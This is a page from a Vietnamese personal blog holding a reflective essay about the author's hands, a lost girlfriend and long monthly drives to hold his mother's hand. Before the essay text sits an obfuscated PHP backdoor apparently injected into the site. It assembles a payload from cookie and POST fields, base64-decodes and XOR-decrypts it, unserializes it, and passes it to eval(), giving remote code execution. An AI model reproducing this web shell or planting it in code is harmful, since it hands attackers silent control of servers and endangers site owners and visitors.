$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> ai nhớ ngàn năm một ngón tay… – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

ai nhớ ngàn năm một ngón tay…

Anh xấu. Đó là điều đau đớn mà anh thừa nhận, dù đôi khi anh hay tự thủ dâm tinh thần rằng phải loài gái vớ va vớ vẩn đâu mà cứ suốt ngày quan tâm tới nhan sắc. Nhưng anh tự thừa nhận thế. Hai điều hiếm hoi anh hài lòng ở mình là chiều cao 1m78 và đôi bàn tay thon dài của mình.

***

Khi còn quen em, điều anh thích nhất khi chat webcam với em là việc em cứ phụng phịu đôi má béo ú của mình, giọng đầy nhõng nhẽo ngọng ngịu nói:
– Ghét ghê! Người gì đâu mà tay dài và thon còn hơn tay con gái á.
Trăm lần như một, anh sẽ trả lời:
– Chứ đâu tay ngắn cũn cỡn lại mũm mĩm như tay em
và vội chèn thêm câu – mà nếu bọn bạn anh nghe, ắt sẽ gọi là lừa tình:
– Tay anh thon và dài, để nắm tay em cho chặt á…

***

Khi còn quen em, anh thích cách em nghiêm túc nhìn anh và nói:
– Sau này chán nhau, chỉ cần nhắm mắt lại, chớ đừng buông tay nhau ra…

Anh và em chia tay hoàn toàn là lỗi của anh. Em buông tay anh ra trước, nhưng tại anh, bàn tay anh quá thon dài và mỏng manh, không đủ sức níu giữ em.

Khi nghe tiếng em nức nở nói lời xin lỗi, cũng như khi gọi em chỉ để nói với em một câu khe khẽ: thank you for loving me… anh đều nhìn bàn tay anh đến xuất thần.

Buông nhau ra thật rồi.

***

Công ty anh ai cũng ngạc nhiên hỏi anh: mày khùng hay sao mà tháng nào cũng lái hơn 1000 miles chỉ để chạy về nhà rồi chạy lên.

Lái xe 8 tiếng cả đi cả về hoàn toàn không bao giờ là công việc gây hứng thú, trái lại nó luôn làm cho người anh rã rời. Cứ mỗi lần nghĩ tới đoạn đường đó, anh chỉ muốn phát ốm. Ban đầu anh không tìm được câu trả lời nào thích hợp mỗi khi có ai hỏi câu đó. Chả thằng con trai nào thừa nhận là nhớ mẹ trước mặt người khác.

Hôm nay ăn tối xong, ngồi với mẹ ngoài sofa. Ngoài trời mưa gió bão bùng, sấm chớp sáng cả bầu trời. Đã bao lâu rồi, khi nắm tay mẹ, anh mới nhận ra, bàn tay mẹ gầy quá, nhỏ quá, lại sần sùi đầy những vết chai…

1000 miles / tháng, 16 tiếng lái xe đi về / tháng, chỉ để nắm chặt bàn tay mẹ. Lí do đó là đủ…

Góc phố còn treo đôi mắt bão
Ai nhớ ngàn năm một ngón tay…

(Du Tử Lê)

300510
B.l.u.e

Tay anh :” />
.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.